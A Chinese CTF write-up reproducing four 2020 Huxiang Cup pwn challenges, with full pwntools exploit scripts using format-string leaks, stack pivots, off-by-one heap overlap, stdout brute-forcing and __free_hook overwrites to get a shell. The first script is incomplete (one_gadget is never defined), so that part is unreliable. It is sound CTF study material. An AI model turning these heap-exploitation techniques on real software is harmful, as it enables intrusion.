2020湖湘杯复现

虽然没打,但是还是根据师傅们的博客复现一波

参考链接:
https://fmyy.pro/2020/11/02/Competition/湖湘杯2020/
https://www.anquanke.com/post/id/221334

printf_pwn

暂时不理解为什么输入0x20就能直接进入栈溢出的函数,先记录下吧,改天复现学习一下google ctf

from pwn import *

local = 1

binary = "./main"
libc_path = './libc-2.23.so'
# port = ""

if local == 1:
	p = process(binary)

def dbg():
	context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']

for i in range(16):
	p.sendline(str(0x20))

def leak_libc(addr):
	global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
	libc = ELF(libc_path)
	libc_base = addr - libc.sym['puts']
	print "[*] libc base:",hex(libc_base)
	__malloc_hook = libc_base + libc.sym['__malloc_hook']
	system = libc_base + libc.sym['system']
	binsh_addr = libc_base + libc.search('/bin/sh').next()
	__free_hook = libc_base + libc.sym['__free_hook']
	_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']

elf = ELF(binary)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_addr = elf.plt['read']
pop_rdi_ret = 0x0000000000401213
vul = 0x40117F
# vul = 0x4007D4

'''
0x0000000000401213 : pop rdi ; ret
'''

payload = 0x8 * 'a' + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vul) + p64(puts_plt)
print "[*] payload len:",hex(len(payload))
p.send(payload)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
leak_libc(puts_addr)

payload = 0x8 * 'a' + p64(pop_rdi_ret) + p64(one_gadget) + p64(binsh_addr) + p64(system) + p64(0xdeadbeef)
p.send(payload)

p.interactive()

blend_pwn

我愿称之为三洞合一
格式化字符串漏洞,栈溢出,UAF
看了师傅们的博客才知道题目原型在2017年的一道题目,利用手法很巧妙

这里是利用C++的异常处理,抛出了一个异常,异常的名字很怪,可以在bss段中看到它。这里存在一个栈溢出的漏洞,可以溢出0x8字节,也就是可以直接覆盖rbp。但是程序开启了一个Canary的保护,那么漏洞利用的主要就在于异常处理了。先是通过_cxa_allocate_exception分配了一个0x90大小的堆块,然后在申请的空间中赋了字符串的值。这里在调试的时候发现其调用了bss段中的函数指针,一开始的想法就是修改这个指针,但是没有办法利用UAF。后面就是通过_cxa_throw函数抛出异常的过程了,这个时候查到了原型题目,发现main函数中存在try catch的捕捉异常的结构,当抛出异常的时候就能直接被main函数捕捉到之后就会进入catch,这个时候rbp就会变成main函数的ebp,异常处理结束之后直接leave,ret了,并没有检查canary的值。

所以思路就是在堆上布置一个one_gadget作为返回地址,然后利用gift函数栈迁移到堆上,最后执行ret指令getshell
总结:
栈溢出作用:栈迁移到堆上
UAF作用:泄漏堆地址(该题只能add两次)
格式化字符串作用:泄漏libc

from pwn import *

local = 1

binary = "./blend_pwn"
libc_path = './libc-2.23.so'
# port = ""

if local == 1:
	p = process(binary)

def dbg():
	context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']

def name(name):
	p.sendlineafter('Please enter a name:',name)

def format():
	p.sendlineafter('Enter your choice >','1')

def add(content):
	p.sendlineafter('Enter your choice >','2')
	p.sendafter('input note:',content)

def free(index):
	p.sendlineafter('Enter your choice >','3')
	p.sendlineafter('index>',str(index))

def show():
	p.sendlineafter('Enter your choice >','4')

def gift(payload):
	p.sendlineafter('Enter your choice >','666')
	p.sendafter('Please input what you want:',payload)

def leak_libc(addr):
	global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
	libc = ELF(libc_path)
	libc_base = addr - libc.sym['__libc_start_main']
	print "[*] libc base:",hex(libc_base)
	__malloc_hook = libc_base + libc.sym['__malloc_hook']
	system = libc_base + libc.sym['system']
	binsh_addr = libc_base + libc.search('/bin/sh').next()
	__free_hook = libc_base + libc.sym['__free_hook']
	_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']

name('%11$p\n')
format()
# __libc_start_main = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 240
p.recvuntil('0x')
__libc_start_main = int(p.recv(12),16) - 240
leak_libc(__libc_start_main)

one_gadget = libc_base + 0x4526a
rop = p64(0) * 4 + p64(one_gadget)
add(rop + '\n')	#0
add(rop + '\n')	#1

free(0)
free(1)
show()
p.recvuntil('index 2:')
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
print "[*] heap:",hex(heap_addr)

fake_rbp = heap_addr + 0x28	  # one_gadget - 0x8
payload = p64(0) * 4 + p64(fake_rbp)
gift(payload)

# gdb.attach(p)
p.interactive()

only_add

我晕了,阴间题目复现了一整天才出来,调试快把眼睛调瞎了,这个必须好好记录一下,wtcllllllll,orz
这波啊,这波是堆风水

逆向与漏洞分析


这个程序只允许add,没有free,但是申请堆块的时候用的是realloc函数
realloc(0) 相当于一个free操作,而且当我们realloc的size小于之前的size的时候相当于对chunk进行一个切割操作,然后将剩下的chunk给free掉

第二个功能就是调用close函数关闭标准输出流

漏洞点在于add功能里面的一个很明显的off-by-one漏洞,可以构造重叠的堆块来打
但是构造就比较麻烦,需要对堆块进行布局,下面详细记录一下

把眼睛看瞎的调试过程

首先要泄漏地址这是没得说的,思路就是爆破_IO_2_1_stdout_,但是要分配到那里去,必须要有一个指向main_arena附近的堆指针
考虑unsorted bin,这样我们利用realloc size < prev size的特点来逐步填充tcache bin
我按照安全客上那个大师傅写的exp没有打通,在清掉buf之后的内容自己又写了一遍,自己的是可以打通的,但是前面的堆布局是按照师傅的博客写的,布局太精妙了,总之wtcl,周四或周五自己再想一种新的布局吧

malloc_size = 0x4f0
for i in range(6):
	add(malloc_size,'a)
	add(0x80,'a')
	delete()
add(malloc_size,'1')
add(0xa8,'1')
delete()
add(malloc_size)
add(0x80)
delete()

目前的堆布局是这样的


在这伪造一个0xb0大小的堆块是为了后续构造overlap chunk来做个准备

第二步是来构造三个0x30大小左右的chunk,然后来做堆重叠,方便覆盖fd pointer

add(malloc_size)
add(0x28)
delete()

add(malloc_size)
add(0x28)
delete()

add(malloc_size)
add(0x48)
delete()

add(malloc_size)
add(0x28)


第三步就是来生成unsorted,然后利用之前的0xb0大小的chunk来做一个off-by-one,利用下面几个小chunk来做

add(0x3c0)
add(0x80)
delete()

add(0xa8, b"a" * 0xa8 + b'\xf1')

成功溢出,将一个为0x90大小的chunk的size给改了

第四步来将刚才改掉的0x90大小的chunk给申请过来,然后free掉,让其进入0xf0大小的tcache bin中

add(0x88)
delete()


这时该chunk的空间布局是这样的

然后干这样的事情,改一下堆布局,就成这样了

add(0xe8, b"a" * 0x98 + p64(0x21) + b"\x00" * 0x18 + p64(0x21) + b"\xe0")

完成堆重叠,能够控制unsorted bin了

delete()

add(0x48, b"a" * 0x48 + b"\xc1")
delete()

add(0x28)
delete()

stdout = 0xa760
add(0xb8, b"a" * 0x28 + p64(0x91) + p16(stdout))
delete()

成功踩掉后两个字节,倒数第四位需要爆破,1/16的概率

第五步来爆破标准输出流,爆破成功后是这样的,所以这样写

delete()
add(0x28)
delete()
add(0x28)
delete()
# dbg()
add(0x28, p64(0xfbad2887 | 0x1000) + p64(0) * 3 + b"\x00")
p.recvuntil(p64(0xfbad2887 | 0x1000), timeout = 0.5 )
p.recv(0x18)
leak = u64(p.recv(8)) + 0x60
leak_libc(leak)
log.success("libc address is {}".format(hex(libc_base)))

最后一步先调用close函数清掉buf缓冲区(因为IO那个fake chunk不满足free的要求)
然后利用重叠的chunk来打__free_hook,最后重定位一下即可,值得一提的是后面没有按照安全客那个博客写,因为感觉他写的是错的,本地也没打通

close_stdout()
p.recvuntil("Bye\n")

__free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']

add_without(0x38)
delete_without()

payload = p64(0) * 5 + p64(0x51) + p64(__free_hook - 0x18)
add_without(0xb0,payload)
delete_without()

add_without(0x38)
delete_without()

payload2 = b"whoami 1>&2".ljust(0x18, b"\x00") + p64(system_addr) + b"\n"
add_without(0x38, payload2)
delete_without()

最后效果可以看到成功执行命令whoami

完整exp

from pwn import *

local = 1

'''
author: lemon
time: 2020-11-11
libc: libc-2.28.so
python version: 3.7
'''

binary = "./main"
libc_path = './libc-2.28.so'
libc = ELF(libc_path)

if local == 1:
	p = process(binary)

def dbg():
	context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']

def add(size,content = 'a'):
	p.sendlineafter('choice:','1')
	p.sendlineafter('Size:',str(size))
	p.sendafter('Data:',content)

def delete():
    p.sendlineafter("choice:", "1")
    p.sendlineafter("Size:", str(0))

def close_stdout():
	p.sendlineafter("choice:", "2")

def add_without(size, content=b"\n"):
	p.sendline("1")
	sleep(0.1)
	p.sendline(str(size))
	sleep(0.1)
	p.send(content)
	sleep(0.1)

def delete_without():
	p.sendline("1")
	sleep(0.1)
	p.sendline(str(0))
	sleep(0.1)

def leak_libc(addr):
	global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
	libc = ELF(libc_path)
	libc_base = addr - libc.sym['_IO_2_1_stdout_']
	print ("[*] libc base:",hex(libc_base))
	__malloc_hook = libc_base + libc.sym['__malloc_hook']
	system = libc_base + libc.sym['system']
	binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()
	__free_hook = libc_base + libc.sym['__free_hook']
	_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']

while True:
	p = process(binary)
	try:
		malloc_size = 0x4f0
		for i in range(6):
			add(malloc_size,'a')
			add(0x80,'a')
			delete()
		
		add(malloc_size,'1')
		add(0xa8,'1')
		delete()
		
		add(malloc_size)
		add(0x80)
		delete()
		
		add(malloc_size)
		add(0x28)
		delete()
		
		add(malloc_size)
		add(0x28)
		delete()
		
		add(malloc_size)
		add(0x48)
		delete()
		
		add(malloc_size)
		add(0x28)
		delete()
		
		log.success("free unsorted bin chunk")
		add(0x3c0)
		add(0x80)
		delete()
		
		add(0xa8, b"a" * 0xa8 + b'\xf1')
		delete()
		add(0x88)
		delete()
		
		add(0xe8, b"a" * 0x98 + p64(0x21) + b"\x00" * 0x18 + p64(0x21) + b"\xe0")
		delete()
		
		add(0x48, b"a" * 0x48 + b"\xc1")
		delete()
		
		add(0x28)
		delete()
		
		stdout = 0xa760
		add(0xb8, b"a" * 0x28 + p64(0x91) + p16(stdout))
		delete()
		add(0x28)
		delete()
		add(0x28)
		delete()
		dbg()
		add(0x28, p64(0xfbad2887 | 0x1000) + p64(0) * 3 + b"\x00")
		p.recvuntil(p64(0xfbad2887 | 0x1000), timeout = 0.5 )

		p.recv(0x18)
		leak = u64(p.recv(8)) + 0x60
		leak_libc(leak)
		log.success("libc address is {}".format(hex(libc_base)))
		
		if libc_base > 0x800000000000:
			p.close()
			continue

		break

	except KeyboardInterrupt:
		exit(0)

close_stdout()
p.recvuntil("Bye\n")

__free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']

add_without(0x38)
delete_without()

payload = p64(0) * 5 + p64(0x51) + p64(__free_hook - 0x18)
add_without(0xb0,payload)
delete_without()

add_without(0x38)
delete_without()

payload2 = b"whoami 1>&2".ljust(0x18, b"\x00") + p64(system_addr) + b"\n"
add_without(0x38, payload2)
delete_without()

p.interactive()

cat flag:

babyheap

虽然也有点儿堆风水的味道,但是比上面那个简单的多,也是我比赛中唯一可能做出来的了(我自己爬)
漏洞点在off-by-null,并且只能申请0xf8大小的chunk,但是比较简单的是我们可申请的chunk非常多

思路就是一开始整一个大的unsorted bin,然后再申请一个chunk,这样根据残留的堆指针可以leak libc_base
然后构造chunk,利用off by null,使得两个指针指向同一个chunk,一个作为free态,一个作为可edit的allocated的chunk,然后就打freehook即可
最后构造出来是这样的


getshell,这个题还是挺简单的

exp:

from pwn import *

local = 1

'''
author: lemon
time: 2020-11-11
libc: libc-2.28.so
python version: 3.8.2
'''

binary = "./main"
libc_path = './libc-2.28.so'
# port = ""

if local == 1:
	p = process(binary)

def dbg():
	context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']

def add():
	p.sendlineafter('>>','1')

def show(index):
	p.sendlineafter('>>','2')
	p.sendlineafter('index?',str(index))

def edit(index,size,content):
	p.sendlineafter('>>','3')
	p.sendlineafter('index?',str(index))
	p.sendlineafter('Size:',str(size))
	p.sendafter('',content)

def free(index):
	p.sendlineafter('>>','4')
	p.sendlineafter('index?',str(index))

def leak_libc(addr):
	global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
	libc = ELF(libc_path)
	libc_base = addr - libc.sym['__malloc_hook'] - 0x1f0
	print ("[*] libc base:",hex(libc_base))
	__malloc_hook = libc_base + libc.sym['__malloc_hook']
	system = libc_base + libc.sym['system']
	binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()
	__free_hook = libc_base + libc.sym['__free_hook']
	_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']

for i in range(7):
	add()

add()	# 7
add()	# 8
add()	# 9

for i in range(7):
	free(i)

free(7)
free(8)

for i in range(7):
	add()

log.success("Now , unsorted bin is 0x200, we alloca 0x100, it must has a pointer to point main_arena*")
add()	# 7 

show(7)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10
leak_libc(leak)

log.success("Now , we attack __free_hook")

add()	# 8
add()	# 10
add()	# 11
add()	# 12
add()	# 13
add()	# 14
add()	# 15
add()	# 16

for i in range(7):
	free(i)

free(9)
free(10)
free(11)
free(12)

for i in range(7):
	add()

add() # 9
add() # 10
add() # 11
add() # 12

for i in range(7):
	free(i)

free(9)
edit(10,0xf8,'lemon')
free(11)

for i in range(7):
	add()

add()	# 9
add()	# 11 == 10

free(10)

payload = p64(__free_hook)
edit(11,0xf0,payload)

add()	# 10
edit(10,0xf0,'/bin/sh')
add()	# 17
edit(17,0xf0,p64(system))

free(10)

# gdb.attach(p)
p.interactive()
posted @ 2020-11-07 20:45  lemon想学二进制  阅读(203)  评论(4编辑  收藏